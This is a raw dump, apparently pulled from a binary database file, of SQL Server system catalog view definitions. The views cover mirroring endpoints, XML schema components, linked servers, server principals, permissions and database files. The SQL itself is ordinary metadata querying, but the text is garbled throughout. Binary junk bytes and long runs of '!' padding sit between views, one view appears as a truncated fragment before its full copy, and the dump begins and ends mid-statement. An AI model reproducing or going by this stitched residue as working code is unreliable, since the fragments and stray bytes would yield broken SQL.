	WHERE o.type IN ('TA','TR') AND o.nsclass = 20 AND o.pclass = 100	-- x_eonc_TrgOnServer:x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0 M8CREATE VIEW sys.database_mirroring_endpoints AS
	SELECT
		e.name,
		endpoint_id = e.id,
		principal_id = o.indepid,
		e.protocol,
		protocol_desc = p.name,
		e.type,
		type_desc = t.name,
		state = convert(tinyint, e.bstat & 3),	-- BSTAT_STATEMASK
		state_desc = s.name,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		role = convert(tinyint, e.tstat & 7),		-- TSTAT_DM_ROLEMASK
		role_desc = cr.name,
		sysconv(bit, case when e.encalg = 0 then 0 else 1 end) AS is_encryption_enabled,
		-- Authentication and encryption options. Identical in SSB and DBM endpoints
		connection_auth = e.authtype,		
		connection_auth_desc = ca.name,
		certificate_id = ISNULL(co.indepid, 0),
		encryption_algorithm = e.encalg,
		encryption_algorithm_desc = ag.name
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	LEFT JOIN sys.syspalvalues cr ON cr.class = 'EPMR' AND cr.value = e.tstat & 7
	LEFT JOIN sys.syspalvalues ca ON ca.class = 'EPCA' AND ca.value = e.authtype
	LEFT JOIN sys.syspalvalues ag ON ag.class = 'EPCE' AND ag.value = e.encalg
	LEFT JOIN sys.syssingleobjrefs co ON co.class = 25 and co.depid = e.id  AND co.depsubid = 0  -- SRC_ENDPT_CERTIFICATE
	WHERE e.type = 4
		AND has_access('HE', e.id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	:`	<c
y01 8CREATE VIEW sys.xml_schema_collections AS
	SELECT xml_collection_id = s.id,
		schema_id = s.nsid,
		principal_id = r.indepid,
		name = s.name,
		create_date = s.created,
		modify_date = s.modified
	FROM sys.sysnsobjs s
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = s.id AND r.class = 59 AND r.depsubid = 0	-- SRC_XSDCOLTOOWNER
	WHERE s.class = 27	-- SOC_XSDCOLLECTION
		AND (s.nsid = 4 OR has_access('XC', 0, s.id) = 1)
09 8CREATE VIEW sys.xml_schema_model_groups AS
	SELECT xml_component_id = c.id,
		xml_collection_id = c.xsdid,
		xml_namespace_id = c.uriord,
		is_qualified = sysconv(bit, c.qual),
		name = q.name,
		symbol_space = c.symspace,
		s.name AS symbol_space_desc,
		c.kind,
		k.name AS kind_desc,
		derivation = c.deriv,
		d.name AS derivation_desc,
		b.indepid AS base_xml_component_id,
		o.indepid AS scoping_xml_component_id,
		c.enum AS compositor,
		p.name AS compositor_desc
	FROM sys.sysxmlcomponent c
	LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	LEFT JOIN sys.sysbinpals p ON p.class = 'XGCO' AND p.value = c.enum
	WHERE c.symspace = 'M'
		AND has_access('XC', c.id, c.xsdid) = 1
08@ 8CREATE VIEW sys.xml_schema_attributes AS
	SELECT xml_component_id = c.id,
		xml_collection_id = c.xsdid,
		xml_namespace_id = c.uriord,
		is_qualified = sysconv(bit, c.qual),
		name = q.name,
		symbol_space = c.symspace,
		s.name AS symbol_space_desc,
		c.kind,
		k.name AS kind_desc,
		derivation = c.deriv,
		d.name AS derivation_desc,
		b.indepid AS base_xml_component_id,
		o.indepid AS scoping_xml_component_id,
		sysconv(bit, c.status & 1) AS is_default_fixed,
		sysconv(bit, c.status & 2) AS must_be_qualified,
		c.defval AS default_value
	FROM sys.sysxmlcomponent c LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	WHERE c.symspace = 'A'
		AND has_access('XC', c.id, c.xsdid) = 1
07@ 8CREATE VIEW sys.xml_schema_wildcards AS
	SELECT xml_component_id = c.id,
		xml_collection_id = c.xsdid,
		xml_namespace_id = c.uriord,
		is_qualified = sysconv(bit, c.qual),
		name = q.name,
		symbol_space = c.symspace,
		s.name AS symbol_space_desc,
		c.kind,
		k.name AS kind_desc,
		derivation = c.deriv,
		d.name AS derivation_desc,
		b.indepid AS base_xml_component_id,
		o.indepid AS scoping_xml_component_id,
		c.enum AS process_content,
		p.name AS process_content_desc,
		sysconv(bit, c.status & 1) AS disallow_namespaces
	FROM sys.sysxmlcomponent c LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	LEFT JOIN sys.sysbinpals p ON p.class = 'XWPC' AND p.value = c.enum
	WHERE c.symspace = 'N'
		AND has_access('XC', c.id, c.xsdid) = 1
06 J8CREATE VIEW sys.xml_schema_wildcard_namespaces AS
	SELECT xml_component_id = r.depid,
		namespace = q.name
	FROM sys.sysmultiobjrefs r JOIN sys.sysqnames q ON r.indepid = q.nid
	WHERE r.class = 83 AND r.depsubid = 0 AND r.indepsubid = 0	-- MRC_XMLWILDCARDNS
		AND has_access('XC', depid) = 1
05 8CREATE VIEW sys.xml_schema_component_placements AS
	SELECT placingid AS xml_component_id,
		ordinal AS placement_id,
		placedid AS placed_xml_component_id,
		sysconv(bit, status & 1) AS is_default_fixed,
		minoccur AS min_occurences,
		maxoccur AS max_occurences,
		defval AS default_value
	FROM sys.sysxmlplacement
	WHERE has_access('XC', placingid) = 1
04 e8CREATE VIEW sys.remote_service_bindings AS
	SELECT name = r.name,
		remote_service_binding_id = r.id,
		principal_id = p.indepid,
		remote_service_name = r.remsvc,
		service_contract_id = r.scid,
		remote_principal_id = m.indepid,
		is_anonymous_on = sysconv(bit, r.status & 1)		--RSB_ANON_ACCESS
	FROM sys.sysremsvcbinds r
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = r.id AND p.class = 48 AND p.depsubid = 0	-- SRC_RSBOWNER
	LEFT JOIN sys.syssingleobjrefs m ON m.depid = r.id AND m.class = 24 AND m.depsubid = 0	-- SRC_RSB_REMUSER
	WHERE has_access('RS', r.id) = 1
03@ 8CREATE VIEW sys.routes AS
	SELECT name,
		route_id = id,
		principal_id = p.indepid,
		remote_service_name = remsvc,
		broker_instance = brkrinst,
		lifetime,
		address = addr,
		mirror_address = miraddr
	FROM sys.sysrts r
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = r.id AND p.class = 49 AND p.depsubid = 0	-- SRC_ROUTEOWNER
	WHERE has_access('RT', r.id) = 1
02@ 8CREATE VIEW sys.transmission_queue AS
	SELECT conversation_handle = S.handle,
		to_service_name = Q.tosvc,
		to_broker_instance = Q.tobrkrinst,
		from_service_name = Q.fromsvc,
		service_contract_name = Q.svccontr,
		enqueue_time = Q.enqtime,
		message_sequence_number = Q.msgseqnum,
		message_type_name = Q.msgtype,
		is_conversation_error = sysconv(bit, Q.status & 2),
		is_end_of_dialog = sysconv(bit, Q.status & 4),
		message_body = ISNULL(Q.msgbody, B.msgbody),
		transmission_status = GET_TRANSMISSION_STATUS (S.handle),
		priority = R.priority
	FROM sys.sysxmitqueue Q
	LEFT JOIN sys.sysxmitbody B WITH (NOLOCK) ON Q.msgref = B.msgref
	INNER JOIN sys.sysdesend S WITH (NOLOCK) on Q.dlgid = S.diagid AND Q.finitiator = S.initiator
	INNER JOIN sys.sysdercv R WITH (NOLOCK) ON Q.dlgid = R.diagid AND Q.finitiator = R.initiator
	WHERE is_member('db_owner') = 1
restriction_blocked,
		sysconv(bit, c.status & 128) AS is_substitution_blocked,
		sysconv(bit, c.status & 256) AS is_final_extension,
		sysconv(bit, c.status & 512) AS is_final_restriction,
		c.defval AS default_value
	FROM sys.sysxmlcomponent c
	LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	WHERE c.symspace = 'E'
		AND has_access('XC', c.id, c.xsdid) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0X%oa`
<0:@ 8CREATE VIEW sys.xml_schema_elements AS
	SELECT xml_component_id = c.id,
		xml_collection_id = c.xsdid,
		xml_namespace_id = c.uriord,
		is_qualified = sysconv(bit, c.qual),
		name = q.name,
		symbol_space = c.symspace,
		s.name AS symbol_space_desc,
		c.kind,
		k.name AS kind_desc,
		derivation = c.deriv,
		d.name AS derivation_desc,
		b.indepid AS base_xml_component_id,
		o.indepid AS scoping_xml_component_id,
		sysconv(bit, c.status & 1) AS is_default_fixed,
		sysconv(bit, c.status & 2) AS is_abstract,
		sysconv(bit, c.status & 8) AS is_nillable,
		sysconv(bit, c.status & 16) AS must_be_qualified,
		sysconv(bit, c.status & 32) AS is_extension_blocked,
		sysconv(bit, c.status & 64) AS is_restriction_blocked,
		sysconv(bit, c.status & 128) AS is_substitution_blocked,
		sysconv(bit, c.status & 256) AS is_final_extension,
		sysconv(bit, c.status & 512) AS is_final_restriction,
		c.defval AS default_value
	FROM sys.sysxmlcomponent c
	LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	WHERE c.symspace = 'E'
		AND has_access('XC', c.id, c.xsdid) = 1
0;@ j8CREATE VIEW sys.xml_schema_facets AS
	SELECT f.compid AS xml_component_id,
		f.ord AS facet_id,
		f.kind,
		k.name AS kind_desc,
		sysconv(bit, f.status & 1) AS is_fixed,
		f.dflt AS value
	FROM sys.sysxmlfacet f
	LEFT JOIN sys.sysbinpals k ON k.class = 'XFKI' AND k.value = f.kind
	WHERE has_access('XC', f.compid) = 1
0<@ 8CREATE VIEW sys.xml_schema_types AS
	SELECT xml_component_id = c.id,
		xml_collection_id = c.xsdid,
		xml_namespace_id = c.uriord,
		is_qualified = sysconv(bit, c.qual),
		name = q.name,
		symbol_space = c.symspace,
		s.name AS symbol_space_desc,
		c.kind,
		k.name AS kind_desc,
		derivation = c.deriv,
		d.name AS derivation_desc,
		b.indepid AS base_xml_component_id,
		o.indepid AS scoping_xml_component_id,
		sysconv(bit, c.status & 1) AS is_abstract,
		sysconv(bit, c.status & 2) AS allows_mixed_content,
		sysconv(bit, c.status & 4) AS is_extension_blocked,
		sysconv(bit, c.status & 8) AS is_restriction_blocked,
		sysconv(bit, c.status & 16) AS is_final_extension,
		sysconv(bit, c.status & 32) AS is_final_restriction,
		sysconv(bit, c.status & 64) AS is_final_list_member,
		sysconv(bit, c.status & 128) AS is_final_union_member
	FROM sys.sysxmlcomponent c
	LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	WHERE c.symspace = 'T'
		AND has_access('XC', c.id, c.xsdid) = 1
0=@ 8CREATE VIEW sys.xml_schema_components AS
	SELECT xml_component_id = c.id,
		xml_collection_id = c.xsdid,
		xml_namespace_id = c.uriord,
		is_qualified = sysconv(bit, c.qual),
		name = q.name,
		symbol_space = c.symspace,
		s.name AS symbol_space_desc,
		c.kind,
		k.name AS kind_desc,
		derivation = c.deriv,
		d.name AS derivation_desc,
		b.indepid AS base_xml_component_id,
		o.indepid AS scoping_xml_component_id
	FROM sys.sysxmlcomponent c
	LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	WHERE has_access('XC', c.id, c.xsdid) = 1
0>@ B8CREATE VIEW sys.xml_schema_namespaces AS
	SELECT xml_collection_id = n.depid,
		name = q.name,
		xml_namespace_id = n.depsubid
	FROM sys.syssingleobjrefs n
	LEFT JOIN sys.sysqnames q ON n.indepid = q.nid
	WHERE n.class = 80	-- SRC_XMLXSDTOQNS
		AND has_access('XC', 0, n.depid) = 1
0?@ <8CREATE VIEW sys.extended_properties AS
	SELECT p.class,
		class_desc = n.name,
		major_id = p.id,
		minor_id = p.subid,
		p.name, p.value
	FROM sys.sysxprops p
	LEFT JOIN sys.syspalvalues n ON n.class = 'UNCL' AND n.value = p.class
	WHERE has_access('EP', p.class, p.id) = 1
0@@ 8CREATE VIEW sys.database_files AS
	SELECT
		file_id 				= f.fileid,
		file_guid 				= f.fileguid,
		type					= f.filetype,
		type_desc			= ft.name,
		data_space_id 		= f.grpid,
		name 				= f.lname,
		physical_name 		= f.pname,
		state				= convert(tinyint, case f.filestate		-- Map enum EMDFileState to AvailablityStates
								when 0 then 0 when 10 then 0	-- ONLINE
								when 4 then 7	-- DEFUNCT
								when 5 then 3 when 9 then 3	-- RECOVERY_PENDING
								when 7 then 1 when 8 then 1 when 11 then 1	-- RESTORING
								when 12 then 4	-- SUSPECT
								else 6 end),	-- OFFLINE
		state_desc			= st.name,
		size 					= isnull(FilePropertyById(f.fileid, 'size'), size),
		max_size 			= f.maxsize,
		f.growth,
		is_media_read_only 	= sysconv(bit, f.status & 8),		-- FIL_READONLY_MEDIA
		is_read_only 			= sysconv(bit, f.status & 16),	-- FIL_READONLY
		is_sparse 			= sysconv(bit, f.status & 256),	-- FIL_SPARSE_FILE
		is_percent_growth 	= sysconv(bit, f.status & 32),	-- FIL_PERCENT_GROWTH
		is_name_reserved		= sysconv(bit, case f.filestate when 3 then 1 else 0 end), -- x_efs_DroppedReusePending
		create_lsn			= GetNumericLsn(f.createlsn),
		drop_lsn				= GetNumericLsn(f.droplsn),
		read_only_lsn			= GetNumericLsn(f.readonlylsn),
		read_write_lsn		= GetNumericLsn(f.readwritelsn),
		differential_base_lsn	= GetNumericLsn(f.diffbaselsn),
		differential_base_guid	= f.diffbaseguid,
		differential_base_time	= nullif(f.diffbasetime, 0),
		redo_start_lsn			= GetNumericLsn(f.redostartlsn),
		redo_start_fork_guid	= f.redostartforkguid,
		redo_target_lsn		= GetNumericLsn(f.redotargetlsn),
		redo_target_fork_guid	= f.forkguid,
		backup_lsn			= GetNumericLsn(f.backuplsn)
	FROM sys.sysprufiles f
	LEFT JOIN sys.syspalvalues st ON st.class = 'DBFS' AND st.value = f.filestate
	LEFT JOIN sys.syspalvalues ft ON ft.class = 'DBFT' AND ft.value = f.filetype
	WHERE filestate NOT IN (1, 2)	-- x_efs_Dummy, x_efs_Dropped
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
q`	<E0"@ N8CREATE VIEW	sys.linked_logins AS
	SELECT srvid AS server_id,
		lgnid AS local_principal_id,
		sysconv(bit, status & 1) AS uses_self_credential,	-- LGN_LINKED_USESELF
		name AS remote_name,
		modate AS modify_date
	FROM master.sys.syslnklgns
	WHERE lgnid = suser_id() OR has_access('SR', 0) = 1
0#@ 8CREATE VIEW sys.remote_logins AS
	SELECT srvid AS server_id,
		name AS remote_name,
		lgnid AS local_principal_id,
		modate AS modify_date
	FROM master.sys.sysrmtlgns
	WHERE lgnid = suser_id() OR has_access('SR', 0) = 1
0$@ 
8CREATE VIEW sys.servers AS
	SELECT s.id AS server_id,
		s.name, s.product, s.provider,
		data_source = convert(nvarchar(4000), v.value),
		location = convert(nvarchar(4000), l.value),
		provider_string = convert(nvarchar(4000), LinkedServerProperty(s.name, 'ProviderString')),
		s.catalog,
		s.connecttimeout AS connect_timeout,
		s.querytimeout AS query_timeout,
		sysconv(bit, s.status & 4) AS is_linked,				-- SRV_NORPCMAP
		sysconv(bit, s.status & 1) AS is_remote_login_enabled,	-- SRV_RPCIN
		sysconv(bit, s.status & 2) AS is_rpc_out_enabled,		-- SRV_RPCOUT
		sysconv(bit, s.status & 8) AS is_data_access_enabled,	-- SRV_DATA
		sysconv(bit, s.status & 16) AS is_collation_compatible,	-- SRV_COLLATECOMPAT
		sysconv(bit, s.status & 64) AS uses_remote_collation,	-- SRV_USERMTCOLLATE
		convert(sysname, collationpropertyfromid(s.cid,'name')) AS collation_name,
		sysconv(bit, s.status & 128) AS lazy_schema_validation,	-- SRV_LAZYSCHCHECK
		sysconv(bit, s.status & 32) AS is_system,				-- SRV_SYSTEM
		sysconv(bit, s.status & 256) AS is_publisher,			-- SRV_PUB
		sysconv(bit, s.status & 0x200) AS is_subscriber,		-- SRV_SUB
		sysconv(bit, s.status & 0x400) AS is_distributor,		-- SRV_DIST
		sysconv(bit, s.status & 0x800) AS is_nonsql_subscriber,	-- SRV_NONSQLSUB
		~(sysconv(bit, s.status & 0x1000)) AS is_remote_proc_transaction_promotion_enabled,	-- SRV_NODTCPROMOFORRPC
		s.modate AS modify_date							-- SRV80_USERMTCOLLATE
	FROM master.sys.sysxsrvs s
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 25 AND v.objid = s.id AND v.subobjid = 1 AND v.valnum = 0	-- SRV_DATASRC
	LEFT JOIN sys.sysobjvalues l ON l.valclass = 25 AND l.objid = s.id AND l.subobjid = 2 AND l.valnum = 0	-- SRV_LOCATION
	WHERE s.id = 0 OR has_access('SR', s.id) = 1
0%@ 8CREATE VIEW sys.server_permissions AS
	SELECT p.class, cn.name AS class_desc,
		p.id AS major_id,
		p.subid AS minor_id,
		p.grantee AS grantee_principal_id,
		p.grantor AS grantor_principal_id,
		p.type, permission_name(p.class, p.type) AS permission_name,
		p.state, sn.name AS state_desc
	FROM master.sys.sysprivs p
	LEFT JOIN sys.syspalvalues cn ON cn.class = 'UNCL' AND cn.value = p.class
	LEFT JOIN sys.syspalnames sn ON sn.class = 'PRST' AND sn.value = p.state
	WHERE p.class >= 100
		AND (has_access('LG', p.grantee, p.grantor) = 1 OR has_access('CT', p.class, p.id) = 1)
		AND p.type <> 'EXTR' -- exclude trusted execute permission
0&@ '8CREATE VIEW sys.server_role_members AS
	SELECT role_principal_id = indepid,
		member_principal_id = depid
	FROM master.sys.sysmultiobjrefs
	WHERE class = 26 AND depsubid = 0 AND indepsubid = 0	-- MRC_SRVROLEMEMBER
		AND has_access('SM', depid, indepid) = 1
0'@ 8CREATE VIEW sys.server_principals AS
	SELECT p.name,
		p.id AS principal_id,
		p.sid, p.type,
		n.name AS type_desc,
		is_disabled = sysconv(bit, p.status & 0x80),
		p.crdate AS create_date,
		p.modate AS modify_date,
		p.dbname AS default_database_name,
		p.lang AS default_language_name,
		r.indepid AS credential_id,
		(case when p.id >= 2 and p.id < 11 then 1 else ro.indepid end) AS owning_principal_id,
		sysconv(bit, case when p.id >= 3 and p.id < 11 then 1 else 0 end) AS is_fixed_role		
	FROM master.sys.sysxlgns p
	LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0	-- SRC_LOGIN_CREDENTIAL
	LEFT JOIN sys.syssingleobjrefs ro ON ro.depid = p.id AND ro.class = 61 AND ro.depsubid = 0	-- SRC_SRVROLELOGINOWNER
	WHERE has_access('LG', p.id) = 1
		AND p.type <> 'M' -- exclude component logins
0(@ 8 CREATE VIEW sys.master_files AS
	SELECT
		database_id 	= f.dbid,
		file_id 		= f.fileid,
		file_guid 		= f.fileguid,
		type			= f.filetype,
		type_desc		= ft.name,
		data_space_id 	= f.grpid,
		name 			= f.lname,
		physical_name 	= f.pname,
		state			= convert(tinyint, case f.filestate		-- Map enum EMDFileState to AvailablityStates
								when 0 then 0 when 10 then 0	-- ONLINE
								when 4 then 7	-- DEFUNCT
								when 5 then 3 when 9 then 3	-- RECOVERY_PENDING
								when 7 then 1 when 8 then 1 when 11 then 1	-- RESTORING
								when 12 then 4	-- SUSPECT
								else 6 end),	-- OFFLINE
		state_desc		= st.name,
		f.size,
		max_size 			= f.maxsize,
		f.growth,
		is_media_read_only 	= sysconv(bit, f.status & 8),		-- FIL_READONLY_MEDIA
		is_read_only 			= sysconv(bit, f.status & 16),	-- FIL_READONLY
		is_sparse 			= sysconv(bit, f.status & 256),	-- FIL_SPARSE_FILE
		is_percent_growth 	= sysconv(bit, f.status & 32),	-- FIL_PERCENT_GROWTH
		is_name_reserved		= sysconv(bit, case f.filestate when 3 then 1 else 0 end), -- x_efs_DroppedReusePending
		create_lsn			= GetNumericLsn(f.createlsn),
		drop_lsn				= GetNumericLsn(f.droplsn),
		read_only_lsn			= GetNumericLsn(f.readonlylsn),
		read_write_lsn		= GetNumericLsn(f.readwritelsn),
		differential_base_lsn	= GetNumericLsn(f.diffbaselsn),
		differential_base_guid	= f.diffbaseguid,
		differential_base_time	= nullif(f.diffbasetime, 0),
		redo_start_lsn			= GetNumericLsn(f.redostartlsn),
		redo_start_fork_guid	= f.redostartforkguid,
		redo_target_lsn		= GetNumericLsn(f.redotargetlsn),
		redo_target_fork_guid	= f.forkguid,
		backup_lsn			= GetNumericLsn(f.backuplsn)
	FROM sys.sysbrickfiles f
